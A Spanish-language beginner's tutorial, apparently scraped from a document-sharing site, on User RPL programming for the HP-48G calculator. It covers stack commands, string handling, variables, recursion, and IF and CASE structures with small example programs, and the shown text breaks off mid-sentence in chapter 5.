manual hp48g

69
MANUAL DE PROGRAMACION USER RPL PARA LA CALCULADORA HP-48G POR SEBASTIAN RIVAS [email protected] CONTENIDO …. I PARTE CAPITULO 1 - "INTRODUCCION NECESARIA" CAPITULO 2 - "HOLA MUNDO" CAPITULO 3 - "TRABAJANDO CON TEXTOS" CAPITULO 4 - "ALGUNOS COMANDOS SUELTOS Y ACLARACIONES" CAPITULO 5 - "COMIENZA LO BUENO" CAPITULO 6 : ALGUNAS COSAS SUELTAS SOBRE COMANDOS MATEMATICOS Y OTROS CAPITULO 7 : PIDIENDO DATOS AL USUARIO DE TU PROGRAMA CAPITULO 8 : "LISTAS" CAPITULO 1 - "INTRODUCCION NECESARIA" La calculadora científica hp48 se diferencia mucho de los otros modelos y marcas más que nada por su poder de programación, ya que ésta se puede programar en varios lenguajes, como son el ensamblador, el GL, el SYSTEM-RPL, Y nuestro USER-RPL. El lenguaje principal de la hp48 es el SYSTEM-RPL, es en ese lenguaje en el que se hacen los más poderosos programas, pero para llegar a aprender SYSTEM, primero hay que aprender el USER, ya que el USER es un subconjunto del SYSTEM. Además, para programar en system-rpl, se necesitan más herramientas, y si se quisiera hacer en la misma hp48, se necesitaría una ampliada, con 256kb de memoria, en cambio, para u-rpl solo se necesita cualquier calculadora hp y tu imaginación. CAPITULO 2 - "HOLA MUNDO" Antes de empezar con un programa básico DE TIPO “HOLA MUNDO”, se debe saber que el formato de un programa típico en user-rpl está encerrado entre los signos "<<" y ">>". El primer comando que veremos será "MGSBOX", el cual imprime un texto que se le entregue en un cuadro en la pantalla. El texto, por supuesto, debe ir encerrado entre comillas dobles ("texto") entonces, el código del programa hola mundo sería: << "HOLA MUNDO" MGSBOX >> Vemos, que el programa se inicia con el signo "<<", luego, pone en la pila el texto "HOLA MUNDO", Y después, el comando "MSGBOX" toma ese texto y lo imprime en pantalla y finalmente el programa termina con el signo ">>". Bueno, ese sería el primer programa, aunque humilde, esta muy bien para empezar. Ahora, para ejecutar este programa o cualquier otro en la hp48 se debe guardar como variable (ver el comando STO). 1) EL comando "MSGBOX" actúa sobre un texto que se encuentre en el primer nivel de la pila cuando este se ejecuta. Consideremos el programa :

Upload: mauricio-paz

Post on 28-Nov-2015

32 views

Category:

Documents


3 download

TRANSCRIPT

MANUAL DE PROGRAMACION USER RPLPARA LA CALCULADORA HP-48G

PORSEBASTIAN RIVAS

[email protected]

CONTENIDO ….

I PARTE

CAPITULO 1 - "INTRODUCCION NECESARIA"

CAPITULO 2 - "HOLA MUNDO"

CAPITULO 3 - "TRABAJANDO CON TEXTOS"

CAPITULO 4 - "ALGUNOS COMANDOS SUELTOS Y ACLARACIONES"

CAPITULO 5 - "COMIENZA LO BUENO"

CAPITULO 6 : ALGUNAS COSAS SUELTAS SOBRE COMANDOS MATEMATICOS Y OTROS

CAPITULO 7 : PIDIENDO DATOS AL USUARIO DE TU PROGRAMA

CAPITULO 8 : "LISTAS"

CAPITULO 1 - "INTRODUCCION NECESARIA"

La calculadora científica hp48 se diferencia mucho de los otros modelos y marcas más que nada por su poder de programación, ya que ésta se puede programar en varios lenguajes, como son el ensamblador, el GL, el SYSTEM-RPL, Y nuestro USER-RPL. El lenguaje principal de la hp48 es el SYSTEM-RPL, es en ese lenguaje en el que se hacen los más poderosos programas, pero para llegar a aprender SYSTEM, primero hay que

aprender el USER, ya que el USER es un subconjunto del SYSTEM.

Además, para programar en system-rpl, se necesitan más herramientas, y si se quisiera hacer en la misma hp48, se necesitaría una ampliada, con 256kb de memoria, en cambio, para u-rpl solo se necesita cualquier calculadora hp y tu imaginación.

CAPITULO 2 - "HOLA MUNDO"

Antes de empezar con un programa básico DE TIPO “HOLA MUNDO”, se debe saber que el formato de un programa típico en user-rpl está encerrado entre los signos "<<" y ">>".

El primer comando que veremos será "MGSBOX", el cual imprime un texto que se le entregue en un cuadro en la pantalla. El texto, por supuesto, debe ir encerrado entre comillas dobles ("texto") entonces, el código del programa hola mundo sería:

<< "HOLA MUNDO" MGSBOX >>

Vemos, que el programa se inicia con el signo "<<", luego, pone en la pila el texto "HOLA MUNDO", Y después, el comando "MSGBOX" toma ese texto y lo imprime en pantalla y finalmente el programa termina con el signo ">>".

Bueno, ese sería el primer programa, aunque humilde, esta muy bien para empezar.

Ahora, para ejecutar este programa o cualquier otro en la hp48 se debe guardar como variable (ver el comando STO). 1) EL comando "MSGBOX" actúa sobre un texto

que se encuentre en el primer nivel de la pila cuando este se ejecuta. Consideremos el programa :

<< MSGBOX >>

Este programa debe generar un error si lo ejecutamos cuando en el primer nivel de la pila de la calculadora no hay un texto, pero ¿qué ocurriría si en el primer nivel de la calculadora se encuentra el texto "HOLA MUNDO"? pues, el resultado es el mismo que en el primer ejemplo.... o sea que: << "HOLA MUNDO" MSGBOX >> daría el mismo resultado que << MSGBOX >> siempre que cuando se evaluara este último, en la pila estuviera el texto "HOLA MUNDO".

El comando MSGBOX tiene un límite máximo de caracteres a imprimir en pantallas, en caso de querer escribir más de una línea se debe dividir el texto en dos, y aplicar dos veces el comando, o sea, el programa quedaría:

<< "HOLA MUNDO, COMO

ESTAS, ESPERO QUE BIEN Y QUE CARRETEANDO" MSGBOX "HARTO JUNTO A LAS ESTRELLAS DEL GRAN ESPACIO" MSGBOX >>

Esto es muy simple, pero es para ilustrar el uso del comando, note que el programa:

<< "PINKY Y CEREBRO" MSGBOX "SON GENIALES" MSGBOX >>

Daría exactamente el mismo resultado que:

<< "PINKY Y CEREBRO" "SON GENIALES" MSGBOX MSGBOX >>

2) El comando "OFF" lo único que hace es apagar la calculadora, y por eso no lo veremos en profundidad, ya que no tiene aplicación sin otros códigos que lo acompañen. Veamos el siguiente código:

<< "ESTOY APRENDIENDO USER" MSGBOX OFF "HOLA" MGSBOX >>

Estas líneas de código, deben mostrar en pantalla el primer mensaje, luego se apaga la calculadora automáticamente y al encenderla aparece el segundo mensaje.

Apartando un poco los comandos se puede decir que en la calculadora, al igual que se puede sumar, restar, sacar logaritmos, o funciones trigonométricas, en los programas se puede hacer todo eso igualmente, y de eso se trata la programación, por ejemplo, un programa que saque el promedio de 2 números que uno ponga en la calculadora(en la pila) sería así: << + 2 / >>

Ahora analicemos el código del programa, lo primero que hace es sumar los dos números con el comando "+" luego, pone un "2" en la pila y divide el resultado anterior entre ese 2, con lo que en la pila queda el promedio de los 2 números. Ahora, un programa que sacara el promedio entre 3 números como sería:

<< + + 3 / >>

Primero, el programa suma dos de los tres números que están en la pila, luego este resultado lo suma con el otro número, después pone un "3" en la pila, y divide, obteniendo así el promedio.

El objetivo de esto es que usted siga variando su programa, y añadiéndole más cosas o combinando lo que va aprendiendo, entendido esto seguimos con los comando.

3) El comando "CLEAR" borra todo lo que se encuentra en la pila, considere el ejemplo:

<< "PROGRAMA PARA LIMPIAR LA PILA" MSGBOX CLEAR >>

4) El comando "STO" guarda un objeto como variable, por ejemplo, si se quiere guardar el numero 5 con el nombre "CINCO” sería:

5 CINCO STO

Nótese que el nombre de la variable, en este caso CINCO, NO debe ir con comillas dobles, solo se debe escribir el nombre. En las variables se puede guardar información programas, etc. Después de que una variable es almacenada con el comando STO, ésta se puede llamar por su nombre a la pila cuando se quiera.

El comando "PURGE" Borra una variable, y su uso es de la manera, { VARIABLE_A_BORRAR }

PURGE , donde VARIABLE_A_BORRAR es el nombre de la variable a borrar, SIN comillas dobles por supuesto.

Después de ver estos dos potentes comandos, ¿qué podemos hacer de interesante con ellos? , pues eso solo depende de la creatividad de cada uno. Veamos el siguiente ejemplo:

<< A STO B STO A B + A B - A B * { A B } PURGE >>

Este programa toma dos números de la pila, y devuelve su suma, su resta, y su multiplicación. Lo primero que hace el programa es guardar el primer número de la pila con el nombre "A", luego, guarda el segundo número de la pila con el nombre "B", luego llama los dos números, y los suma, luego los llama y los resta, y luego los llama nuevamente y los multiplica, al final del programa, borra los dos números de las variables.

Una variante del programa sería:

<< B STO A STO A B + A B - A B * { A B } PURGE >>

Aquí hay que resaltar que el orden en que guardan los números en las variables, es dedcir, primero se guarda el último número de la pila y luego el segundo de manera que A-B no es igual a B-A.

Otro ejemplo:

<< C STO B STO A STO B [+/-] B [x^2] 4 A C * * - [raiz cuadrada] + 2 A * / B [+/-] B [x^2] 4 A C * * - [raiz cuadrada] - 2 A * / { A B C } PURGE >>

Este programa nos da las raíces de una ecuación cuadrática, al cual se le pasen los coeficientes A B y C según la ecuación general:

02 =++ CBXAX

Nuevamente que tener en cuenta que los tres coeficientes se dan en el orden A - B - C o sea que en la pila quedarán en el orden inverso.

Pero sería muy engorroso estar guardando variables cada vez que se necesiten ocupar varias veces los elementos que se le pasan a los programas, para esto se crearon las "VARIABLES LOCALES" las cuales funcionan igual que las globales (que se guardan con STO), solo que existen UNICAMENTE DENTRO DEL PROGRAMA, dicho de otra forma éstas variables son temporales, es decir, cuando el programa termina, desaparecen.

Veamos el siguiente ejemplo:

<< -> A B C << A B C + + 3 / >> >>

Este programa toma 3 números de la pila, y da su promedio.

Se debe hacer notar, que en esta forma de programar el orden de los números ingresados no varía, es decir, para sacar el promedio de los valores 1 2 3 el programa anterior tomará A=1

B=2C=3

Además, no se necesita el código << { A B C } PURGE >>, ya que las variables en la realidad no existen, sino solo dentro del programa.

Otra forma de usar las variables locales para tareas sencillas es mediante el uso de un par de comillas simples (' ') para encerrar lo que se quiere hacer con las variables, es decir para el ejemplo anterior seria:

<< -> A B C '(A+B+C)/3' >>

Nótese que aquí, '(A+B+C)/3' es lo mismo que << A B C + + 3 / >>

La forma con las comillas simples parece ser más corta y fácil y en realidad es así, pero con el tiempo se verá que para tareas mas complejas, se usa los signos << y >>.

Para el cálculo de las raíces de una ecuación cuadrática el código queda de la siguiente manera:

<< -> A B C << B [x^2] 4 A C * * - [raiz cuadrada] + 2 A * / B [+/-] B

[x^2] 4 A C * * - [raiz cuadrada] - 2 A * / >> >>

Y lo último es que las variables locales se pueden anidar, es decir, que por ejemplo, el código:

<< -> A B AUTO << A AUTO + B / LN -> C << C 1000 + A / >> >> >> LAS VARIABLES LOCALES, IGUAL QUE LAS GLOBALES (STO), PUEDEN TENER NOMBRES DE VARIAS LETRAS.

CAPITULO 3 - "TRABAJANDO CON TEXTOS"

Bueno, ahora veremos las herramientas de programacion que nos proporciona la hp48 para manipular cadenas de caracteres(textos). Lascadenas se reconocen por que siempre estan entre comillas dobles

Ejemplo : "Todo esto es una CADENA"

Ya vimos en el segundo capitulo la instruccion MSGBOX, la cualtomaba un texto y lo imprimía en pantalla dentro de un recuadro. Estemetodo tenía un límite de caracteres.

Ahora comenzaremos a ver otras instrucciones o comandos que nos permitiran manipular textos poderosamente, sobre todo en el futurocuando se conozcan las tecnicas de estructuras condicionales, de bucley de deteccion de errores, lo cual se verá en capitulos posteriores.

Comando : SIZEEste comando lo que hace es tomar una

cadena del nivel 1 dela pila y devolver el número de letras que la forman, incluyendo los espacios, y aunque no se vea claramente su utilidad, en el futuro sepueden hacer programas ampliamente poderosos para manejar texto....

Por ejemplo, si en el primer nivel de la

pila tenemos lacadena "DRAGON BALL Z" , y aplicamos el comando SIZE, lo que obtenemoses el número 13, y la cadena desaparece.

Comando : +Seguramente más de alguien se

sorprendió con este signo de lasuma, y es que las cadenas también se pueden "sumar", lo digo entre comillas por que lo que hace el comando + con dos cadenas es "concatenarlas", si el termino no se entiende bien, me explico, supongamonos que tenemos en la pila los textos

3:2: "MOONSPELL ES UN GRUPO"1: "DE BLACK METAL

Entonces si aplicamos el comando + , el resultado sería :

2:1: "MONSPELL ES UN GRUPODE BLACK

METAL"

¿Se entendió, espero que si. Lo que hace este comando con doscadenas es "juntarlas", esa es la palabra precisa. Notese que en el resultado, las palabras GRUPO y DE quedaron sin espacio, esto es porque el comando solo junta las cadenas, nada mas, no agrega espacio, entonces para que el resultado hubiera sido el esperado, se habríanecesitado un espacio al final de la primera cadena, o al principiode la segunda cadena.

Tambien, si en los dos primeros niveles de la pila de la hp48tenemos una cadena y otro objeto y aplicamos el comando + , este casien todos los casos los juntara igual.

Ejemplo:

2: 45001: " autos corrieron la carrera

Notese que en el segundo nivel se tiene

un simple número, elresultado al aplicar al comando + sería :

2:1: "4500 autos corrieron la carrera"

Bueno, eso sería con el comando + para las cadenas y quisieradecir que este comando es para mi uno de los que le da mas poder allenguaje u-rpl.

Comando : OBJ->Lo que hace es desarmar una cadena, es

decir, sacarle lascomillas, pero todo quedará mas claro con un ejemplo :

Si tenemos en la pila lo siguiente :

3:2:1: "Estoy escuchando a LacunaCoil"

y aplicamos el comando OBJ-> el resultado será :

4: 'Estoy'3: 'escuchando'2: 'a'1: 'LacunaCoil'

O sea que lo que hace el OBJ-> es separar una cadena entodas las palabras que la componen.

¿que pasaría si en memoría tenemos una variable llamada RATAque guarda un número por ejemplo el número 549501 y en la pila tenemos el texto "LA RATA MALDITA" y aplicamos el comando OBJ-> ?

Bueno, entonces, el resultado "deviera ser" :

3: 'LA'2: 'RATA'1: 'MALDITA'

Pero como existe una variable llamada RATA, entonces lo que en verdad se obtendría sería :

3: 'LA'2: 5495011: 'MALDITA'

Espero que haya quedado claro, sino ya sabes, solo escríbemea [email protected]...

Antes de seguir con las cadenas, quisiera ver rapidamente uncomando muy simple, pero de mucha ayuda, es el comando DUP, lo que haceel DUP es simplemente duplicar lo que se encuentra en el nivel 1: dela pila, ejemplo:

3: "hola chile"2: 5406.341: "SAMAEL"

Al aplicar el DUP quedaría :

4: "hola chile"3: 5406.342: "SAMAEL"1: "SAMAEL"

¿Facil de entender, verdad?, bueno, como hemos estado un pocoflojos para programas, os doy el siguiente desafío, crear un programaque tome un texto de la pila y nos diga como resultado suponiendo que el texto fuera "black metal" , el resultado que se requiere es queen un recuadro nos aparezca "EL TEXTO -black metal- contiene 11 caracteres" ...... a ver quien lo hace sin ayuda......

RESPUESTA : El codigo sería ....

<< -> PALABRA << "EL TEXTO -" PALABRA + "- contiene "+ PALABRA SIZE + MSGBOX >> >>

Bien, analicemos el código este, primero, se toma la cadena como variable local con el nombre PALABRA. Luego se pone en la pilael texto "EL TEXTO -" , despues se llama a PALABRA, y se concatena o"suma" con "EL TEXTO -". Luego de eso, se pone en la pila el texto

"- contiene " , el cual a su vez se concatena con la cadena anterior.Despues se llama a la cadena PALABRA y se obtiene su longitud medianteel comando SIZE, y este nos devuelve un número con la longitus dela cadena, el cual se concatena con la cadena. Ahí tenemos armado ya eltexto completo, solo falta imprimirlo en pantalla, con el típico comando MSGBOX .

NOTA : ("Tengase muy en cuenta que para la hp48, 'hola' NO es lomismo que 'HOLA' , y tampoco es lo mismo que 'HOla', o sea que el USER-RPL ES "case sensitive", es decir, las mayusculas y minusculasson diferentes para él")

Bueno, ahora veremos el comando inverso a OBJ->, su nombre es->STR y lo que hace es transformar cualquier cosa que esté en la pila en una cadena, o sea, encerrarlo entre comillas dobles.

Ejemplo, tenemos en la pila lo siguiente :

2:1: 4524.234

Al aplicar el comando ->STR, el resultado obtenido es :

2:1: "4524.234"

Muy facil de entender, claro, pero pon mucha atencion a todo esto, por que la gracia de la programacion NO es saberse todos los comandos de memoria, sino COMBINARLOS DE MANERA EFICIENTE PARA REALIZAR VUESTROS PROGRAMAS, incluso a mi a veces algunos comandos seme olvidan sus nombres, o lo que hacen, y voy a mi manual y los reviso.

Comando : POSLo que hace este comando es indicarnos

cual es el primer lugarde un texto en donde se encuentra un

determinado caracter, para esose debe poner en el nivel 2: la cadena que se quiere revisar, y en elnivel 1: el caracter que se busca, por supuesto que entre comillasdobles.... ejemplo :

tenemos en la pila lo siguiente :

2: "educacion de mierda"1: "a"

entonce si aplicamos ahí el comando POS, el resultado sería :

2: 1: 5

ya que la letra se encuentra por primera vez en la posicioncinco de la cadena analizada.

Bueno, todos los caracteres de la calculadora hp48 tienenasignado un número, por ejemplo el número del caracter "A" es el 65. (((¿cual es el número del caracter "B"? , el 66, claro)))

Entonces hay dos instrucciones que nos permiten jugar con estapropiedad de los caracteres, estas son NUM y CHR , lo que hace NUMes devolvernos el número del caracter que esta en el nivel 1: de la pila , y el comando CHR hace lo contrario, o sea, dado un número enteroen la pila, este lo reemplaza por su correspondiente caracter....

Estos comandos son usados para encriptar textos.

Como nota digamos que si en el primer nivel de la pila tenemosuna cadena de varios caracteres, y aplicamos el comando NUM, este nosdevolvera solo el codigo del primer caracter.

NOTA : OYE, TE DIGO QUE SI QUIERES DE VERDAD APRENDER A PROGRAMAR, DEBES PROGRAMAR, ME ENTIENDES, O SEA, NO TE LEAS TODO EL MANUAL Y LUEGO

COMIENCES, SINO QUE ANDA CREANDO IDEAS A MEDIDA QUE VA AVANZANDO EL CURSO, ASÍ TE IRAS HACIENDO EL HABITO MENTAL DE LA PROGRAMACION.

Bueno, sigamos por un rato con los comandos para manipularcadenas de texto.....

Comando : HEADLo que hace este comando es muy

simple, es extraer el primercaracter de cualquier cadena...ejemplo .

2:1: "RADIO ARPEGIO"

Al aplicar el comando HEAD se obtiene :

2:1: "R"

eso es todo.

Comando : TAIL

Lo que hace este comando es borrar el primer caracter de unacadena.... ejemplo :

2:1: "shakira está rica"

despues de aplicar TAIL lo que se obtiene es :

2:1: "hakira está rica"

muy simple, no ?, pero importante.

Comando : REPL <,,,,,este es un poco mas avanzado,,,,,>

Lo que hace el comando REPL es reemplazar en una cadena uncaracter por otro que nosotros le damos. En el tercer nivel de la pilava la cadena a manipular, en el segundo nivel va el numero del caracterque queremos reemplazar, y en el nivel uno por supuesto que va el caracter que queremos poner en la cadena,

ejemplo :

4:3: "ejemplo del comando REPL"2: 101: "A"

Al aplicar el comando REPL el resultado obtenido es :

2:1: "ejemplo dAl comando REPL"

y ha quedado claro que se reemplazó el caracter que estabaen el lugar numero 10 de la cadena del nivel 3: , o sea, reemplazóla "e" por una "A".

Bueno, eso será todo por ahora en cuando a cadenas, tampoco quiero aburrirlos con eso

-----------------------------------0------------------------------- fin del capitulo 3 [email protected] www.geocities.com/xj35u5x

CAPITULO 4 - "ALGUNOS COMANDOS SUELTOS Y ACLARACIONES"

Bueno, este capitulo lo aprovecharé para mostrar algunos comandos un poco aislados de la hp48, así como para intentar introducirtemas como lo son la recursividad en user-rpl y otras cosillas....

Bien, primero les mostraré el funcionamiento de un comando sencillo pero muy divertido, el cual combinado con recursividad puedehacer cosas interesantes ;->

Comando : BEEPLo que hace es tocar un pitido dada una

frecuencia en el nivel2: y un tiempo de duracion en el nivel 1: , o sea que la "nota" se poneen el nivel 2: y el tiempo que quieres que dure ese pitido se pone en el nivel 1:

Como dato tecnico devo decir que la frecuencia se mide en hertzios y el tiempo en segundos de reloj.

ejemplo :

<< 1000 3 BEEP 5000 2 BEEP 3000 1 BEEP >>

Bueno, no hay mucho que explicar aquí, solo son tres pitidos,el primero de frecuencia 1000 y duracion 3 segundos y los demas idem...

Bueno, si usted toca algún instrumente, puede visitar alguna página en donde se muestre la equivalencia entre las notas musicalesy las frecuencias, y así poder escribir canciones......

El uso de este comando se puede combinar con otros ya vistospara crear programas mas buenos.

Y lo último, se supone que para que suenen los pitidos, tieneque estar habilitado el sonido en la hp48, ¿como se habilita? ándatea la cresta.

Comando : VARSLo que hace es mostrarnos una lista con

todas las variables,pero por ahora no profundizaremos, ya que aún no hemos estudiado laslista, parte mas que importantísima de la programacion u-rpl.

Comando : CRDIRLo que hace es dado un nombre en el

nivel 1: de la pila, y entre comillas 'simples' , crea un subdirectorio con ese nombre.

Comando : PGDIR

Dado el nombre de un subdirectorio, encerrado entre los signos{ } borra el directorio sin preguntar nada, junto con todo lo que estecontiene. 8;-> a ver si se imaginan que su podría hacer con el ....jaja

Comando : DROPBorra lo que se encuentra en el nivel 1:

de la pila

Comando : SWAPEste es importante, lo que hace es rotar

el contenido delnivel 1: de la pila con el del nivel 2: , me explico, ejemplo :

3: "basura maldita"2: "VIVA CHILE"1: 1805.99

Al aplicar el comando SWAP es obvio que se obtiene :

3: "basura maldita"2: 1805.991: "VIVA CHILE"

Espero que haya quedado claro....<:o)---+

Bueno, ahora hablemos un poco de recursividad :

"La recursividad consiste simplemente en que un programa se llame a si mismo" , pero hay que entender bien esta definicion, lo quese quiere decir es que el programa, dentro de su ejecucion, se llamaa si mismo, y hace lo mismo de nuevo, y de nuevo y de nuevo. Por eso esun poco complicado entender este tema, ya que se cometen muchos erroresen cuanto a recursividad, tomemos por ejemplo el programa :

<< PROGRAMA1 >>

y guardemoslo en memoria con el nombre PROGRAMA1 , entonces que ocurrirácuando lo ejecutemos ??????

Bueno, simplemente, se estará llamando a si mismo para siempre,hasta que lo interrumpamos o se le acabé la memoría a la calculadora.

Mira el siguiente ejemplo

<< "hola" PROGRAMA2 >>

¿Que ocurre si este programa lo guardamos con el nombre PROGRAMA2 Y luego lo ejecutamos ????

Bien, simplemente, escribirá en la pila infinitamente la palabra "hola" hasta que se acabe la memoría o hasta que lo interrumpamos

Es por estas cosas por las que hay que tener cuidado con larecursividad, por último tome este pequeño código que podría darlemas de un dolor de cabeza a un uruario :

<< OFF PROGRAMA3 >>

imaginense.

Bueno, pero la recursividad no sirve de mucho sin las estrucurasde bifurcacion y "bypass" en los programas, esto lo veremos más adelante.

Comando : DEPTHLo que hace es entregarnos el número

de objetos que estan en lapila......

Por ejemplo, si hacemos DEPTH y en la pila se encontraban 8objetos cualquiera, aparecerá un 8 en el primer nivel de la pila, y todos los objetos se desplazaran un nivel hacia arriba.

Si tenemos por ejemplo 17 objetos diferentes de cualquier claseen la pila, y ejecutamos 4 veces el comando DEPTH que pasará ?

Pues es claro que los primeros 4 niveles de la pila seran :

4: 173: 182: 191: 20

por que cada vez que haces DEPTH APARECE UN NUMERO, EL CUAL OCUPA UN LUGAR.

¿que resultado nos daría el siguiente codigo SIEMPRE ?

<< CLEAR DEPTH >>

por supuesto que 0.

-----------------------------------0------------------------------- fin del capitulo 4 [email protected] www.geocities.com/xj35u5x

CAPITULO 5 - "COMIENZA LO BUENO"

En este capítulo veremos las primeras estructuras condicionalesque son junto con lo bucles, los pilares dela programacion u-rpl. (se me olvidaba incluir las listas)

Bien, vamonos al asunto de inmediato, la primera instruccion deestructura condicional que veremos es el IF THEN END

Pero me vengo dando cuenta que antes se necesita una introduccion a las comparaciones.....(disculpar)

Bien, para hacer correr todas las estructuras condicionales serequieren comparaciones de distintos tipo, ahora las veremos rapidamente

Comparador : >Si el número del nivel 2 de la pila es

mayor que el del nivel

1 devuelve un 1(si) , y si no un 0(no)

Comparador : <Lo mismo que el anterior pero al reves.

tambien estan los comparadores "mayor o igual" y "menor o igual"los cuales no tengo los simbólos exactos aquí, así que en el manual losdistinguire mediante los signos :

>= mayor o igual<= menor o igual

Comparador : ==devuelve un 1 si los dos objetos son

iguales, sino da un 0

el contrarío a este tampoco lo puedo escribir aquí, pero lodesignaré como != , este, es claro que devuelve un 1 si los objetosson diferentes y un 0 si son iguales.

NOTA: se debe tener en cuenta que en estas cosas, el 1 significa verdadero y el 0 significa falso. (cualquiera mayor que 1 tambien es verdadero)

Comparador : ANDdevuelve un 1 si los dos objetos son

distintos de 0, sino un 0

COmparador : OR devuelve un 1 si alguno de los dos objetos es distinto de 0

Comparador : NOTCambia el valor de verdad del nivel 1 de

la pila, o sea, si hay un 1 lo cambia a 0, y si hay un 0 lo cambia a 1.

Comparador : SAME <---poderrrrrrrr

Devuelve un verdadero(1) si los dos objetos don IDENTICOS y un 0 en caso contrario

Bueno, con esos comparadores basta por ahora para comenzar con el IF THEN END.

Bien, ahora, lo último es esplicar lo que son las estructuras condicionales. Ellas son estructuras dentro de los programas, que le permitan a un programa DECIDIR que hacer

frente a diversos sucesos.

Un ejemplo de la vida cotidiana sería :

"Si voy al concierto de moonspell, entonces gastaré plata en copete"

Ahí, se ve que si se cumple la condicion "si voy al concierto de moonspell" , tembien se cumplirá el resto de la oracion, eso es una estructura condicional....

Estructura : IF THEN ENDEsta estructura se usa de la siguiene

manera, En el codigo se pone un IF , seguido de una "prueba de verdad" , y si se cumple laprueba, se ejecuta el codigo que está entre THEN y END, si no se cumpliese la prueba , entonces el programa salta a lo que continúa despues del END...

IF (prueba de verdad) THEN (codigo que se ejecutasi la prueba arroja un valor verdadro) END sigue el programa

Yo se que es un poco dificil de entender al comienzo, veamos un programita que va a poner en la pantalla el mensaje "si" si el número que este en la pila es igual a 18

<< 18 IF == THEN "si" MSGBOX END >>

Bueno, ahí esta pues, vamos a analizar el código:

Primero, se pone un 18 en la pila, con lo que el número que ya estaba en ella se corre un nivel hacia arriba. Luego, se aplica la palabra IF , y la prueba aquí es el signo == , ya que este dará unvalor de verdad si es que los dos números son iguales, y entonces, tenemos que si se cumple que el número es 18, se imprimirá en pantalla el mensaje "si" , y si no es igual a 18, no pasará nada, ya que no hay nada despues del END

Otra forma de hacer lo mismo es con variables locales, que seguramente será lo que usted usará en el futuro para estas cosas :

<< -> NUMERO << IF 'NUMERO==18' THEN "si" MSGBOX END >> >>

otra forma sería :

<< -> NUMERO << NUMERO 18 IF == THEN "si" MSGBOX END >> >>

y seguramente hay otras muchas maneras de hacerlo, y este ejemplo me sirvió para mostrar esto, que se me había olvidado mencionar, en el user-rpl, siempre hay varias maneras distintas de resolver un problema, la gracia es encontrar la que ocupe menos espacio y sea mas rápida.

Estructura : IF THEN ELSE ENDEsta estructura es parecida a la anterior,

solo que esta tambien incluye un codigo que se ejecutará se la prueba de verdad es falsa.... o sea,

IF (prueba) THEN (haz esto) ELSE (sino haz esto otro) END

ahí, se comprueba la clausula de verdad,y se ejecuta lo que está entre THEN Y ELSE, saltandose despues hasta lo que biene despues del END, y si la clausula de verdad es falsa, el programa se salta el codigo que esta entre THEN y ELSE y ejecuta solo lo que esta entre ELSE y END, continuando despues con el programa.

Para ilustrar esto mejor, sería bueno, hacer un programín.

Haremos un programa que diga si un numero cualquiera es positivo o no.

una forma de hacerlo sería la siguiente :

<< 0 IF > THEN "el numero es positivo" MGSBOX

ELSE "el número no es positivo" MSGBOX END >>

Bueno, antes de que me vaya, analizaremos un poco este código:

Primero se compara el número con el 0, si el número es mayor, se despliega en pantalla el mensaje "el numero es positivo", y si no,el mensaje "el número no es positivo", luego el programa termina. y aquí sin querer queriendo, podremos ver una pincelada de optimizacion, esto es, que este codigo que vemos aquí se puede reducir, con el consecuente aumento de velocidad en la ejecución, pero el programa hará exactamente lo mismo. comparemos el código

anterior con el siguiente :

<< 0 IF > THEN "el numero es positivo" ELSE "el número no es positivo" END

MSGBOX >>

Se dan cuenta ?, ahora en todo el código va una sola vez la instruccion MSGBOX , pero entregando el mismo resultado, eso es lo que se llama optimización del código. Bueno, puede que en este ejemplo no se note la diferencia en la ejecución, pero imaginemos un programa que pesa varios kb , entonces estas cosas valen muchísimo.

Ademas, antes de irme a comer, mencionaré que la optimizacion del codigo en el USER-RPL es un aspecto muy importante, ya que el lenguaje es un poco lento en sí, sobre todo comparado al SYSTEM, esto devido a que el USER realiza muchas comprobaciones de seguridad, esto quizá lo hablemos mas adelante, ahora me voy a comer, cuando vuelva veremos la estructura CASE , una de las más poderosas del lenguaje, sobretodo para los que deseen hacer juegos en USER-RPL. 8-)

Ah, hola de nuevo, ya es de noche....¿?¿?¿ . continuemos con lo nuestro, en que ibamos ???, ahhh, quedé en que os enseñaría la segunda y última estructura condicional que podemos usar en la hp48.

Estructura : CASE THEN END END

Bien, ahora, esta es un poco mas dificil de explicar, pero muy facil de amar, ya que sirve mucho para hacer cosas como juegos o porgramas similares, claro, en conjunto con otras sentencias que veremos un poco más adelante. La estructura CASE lo que hace es parecido al IF THEN ELSE END , solo que en el IF, se podían tomar dos opciones dependiendo del valor de verdad de una prueba. Con la estructura CASE, en cambio, se pueden tomar deciciones dependiendo de múltiples pruebas. Por ejemplo, supongamos que deseemos un programa que nos diga si un numero es positivo, negativo o cero. Este ejemplo quizá se pueda realizar solo con el IF pero sería muy engorroso, y otros problemas mucho mas complejos escapan al IF, para eso es que se introduce la estructura condicional CASE. La sintaxis para usar esta estructura es : primero

va la sentencia CASE, donde comienza todo, luego, una prueba de verdad, y un THEN, los comandos que se quieren ejecutar si la prueba es verdadera, y despues un END, despues se puede poner una segunda prueba de verdad con otro THEN y otros comandos seguidos claro de un END, y así se pueden poner todas las pruebas que se quiera, teniendo en cuenta que después del último END debe ir otro END por obligacion, para que el programa sepa que ahí se termina la estructura CASE, y muy importante lo que diré ahora, entre medio de los dos últimos END puede optativamente ir otro código más, que sería el codigo "por defecto", o sea, que si no se cumplen ninguna de las clausulas de verdad anteriores, se ejecutará ese código. A mi no me gusta mucho dar explicaciones obvias, ya que esto es un manual de programacion y no uno de usuario, pero SUPONGO que tu sabes ya que de todos los codigos que estan dentro de la estructura CASE UNO SOLO SE EJECUTA, y despues el programa salta hasta lo que biene despues del ULTIMO END.

Bueno, parece que salió un poco larga la explicación, pero como siempre, todo se aclarará con un ejemplo.....

PROGRAMA QUE NOS DICE SI UN NUMERO ES NEGATIVO O POSTIVO

el codigo sería :

<< -> X << CASE 'X>0' THEN "POSITIVO" MSGBOX END

'X==0' THEN "CERO" MSGBOX END

'X<0' THEN "NEGATIVO" MSGBOX END END >> >>

Listo, ahí esta el programa que necesitábamos, pero un pequeño analisis no le hace daño a nadie, verdad ? .....

Primero, se toma el número como variable local con el nombre "X" , luego , comienza la estructura CASE , y se empiezan a poner las pruebas de verdad con sus respectivos codigos a ejecutar en caso de ser verdaderas una de ellas. Supongamos que se introduce el número 0 entonces el programa lo toma, le aplica la primera prueba de verdad, y resulta falsa, entonces ignora el codigo que está entre el

